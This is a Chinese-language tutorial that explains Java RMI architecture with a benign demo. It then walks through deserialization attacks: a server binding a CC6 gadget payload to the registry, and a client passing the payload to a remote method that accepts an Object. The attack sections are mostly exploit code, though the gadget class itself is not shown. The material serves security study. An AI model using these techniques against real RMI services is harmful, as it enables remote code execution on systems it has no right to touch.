RMI基本概念

RMI(Remote Method Invocation) Java远程方法调用

能够从一个java虚拟机上的对象调用另外一个java虚拟机上的对象的方法 使用JRMP协议进行通信

RMI分为三层架构模式:客户端(Client),服务端(Server),注册中心(Registry)

这些架构的组成部分:

客户端

Stub(存根):远程对象在客户端上的代理 ,主要功能是请求远程方法时构造一个信息块,RMI协议会把这个信息块发送给Server端

Remote Reference Layer(远程引用层):解析并执行远程引用协议

Transport(传输层):发送调用,传递远程方法参数,接受远程方法执行结果

服务端

Skeleton(骨架):读取客户端传递的方法参数,调用服务器方的实际对象方法,并接受执行方法后的返回值

Remote Reference Layer(远程引用层):处理远程引用后向骨架发送远程方法调用

Transport(传输层):监听客户端的入站连接,接受并转发调用到远程引用层

注册中心

是一个Map,键为名字,值为对象

以URL形式远程注册对象,并通过名字向客户端回复对远程相应对象的引用

调用流程

Server部署

Server向Registry注册远程对象,形成一个映射表 Name-Stub

Client调用

1.Client获取stub中的host和port信息,序列化请求数据后连接到Registry

2.Registry接受请求,把请求调度到Remote Object上,将调用的结果进行序列化,返回给Client

3.Client反序列化执行结果,返回给调用器

Demo

Server

一个继承了Remote接口的接口 IRemoteObj:

public interface IRemoteObj extends Remote {
    public String SayHello(String name) throws RemoteException;
}

一个继承了UnicastRemoteObject类并实现了IRemoteObj接口的类 RemoteObjImpl

即我们要注册的远程对象

必须实现Remote接口和继承UnicastRemoteObject

UnicastRemoteObject用于将这个对象广播出去

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{

    protected RemoteObjImpl() throws RemoteException {
    }

    @Override
    public String SayHello(String name) throws RemoteException {
        String greet = "Hello," + name;
        System.out.println(greet);
        return greet;
    }
}

RMIServer

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);
    }
}

LocateRegistry.createRegistry 启动注册网关监听给定的地址

r.bind("remoteObj",remoteObj) 向注册中心发送一个bind请求

在注册中心保存为 "remoteObj"(Name) - remoteObj(远程对象)的键值对

Client客户端

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");  //此时remoteObj是一个stub,并未存储这个对象的实际方法实现
        remoteObj.SayHello("Xux");
         String[] str = Naming.list("rmi://127.0.0.1:1099");
        for(int i = 0;i < str.length;i++){
            System.out.println(str[i]);
        }
    }
}

以及一个和服务端一样的IRemoteObj接口

运行后在服务端执行代码,输出"Hello,Xux"

Naming.list可以列出registry的所有条目

攻击场景

服务端攻击注册中心

服务端攻击注册中心:

Registry代码:

package com.Registry;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class Registry {
    public static void main(String[] args) throws RemoteException {
        LocateRegistry.createRegistry(1099);
        System.out.println("Registry is running...");
        while (true);
    }
}

Server代码:

package com.Server;

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.Remote;

public class RMIServer {
    public static void main(String[] args) throws IOException, AlreadyBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        CC6 expObj = new CC6();
        Naming.bind("expObj",new BindExploit(expObj.payload));

    }
    private static class BindExploit implements Serializable, Remote
    {
        private final Object memberValues;

        private BindExploit(Object payload) {
            this.memberValues = payload;
        }
    }
}

image20220205201906230.png

客户端攻击服务端

Server代码:

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Naming.bind("remoteObj",remoteObj);
        System.out.println("Server is running...");
    }
}

RemoteObjImpl:

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{

    protected RemoteObjImpl() throws RemoteException {
    }

    @Override
    public String SayHello(Object name) throws RemoteException {
        String greet = "Hello," + name;
        System.out.println(greet);
        return greet;
    }
}

SayHello的参数类型需要是Object

Client代码:

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        IRemoteObj remoteObj = (IRemoteObj) Naming.lookup("remoteObj");
        CC6 cc6 = new CC6();
        remoteObj.SayHello(cc6.getPayload());
    }
}

运行Registry,Server,再运行Client

image20220205203349529.png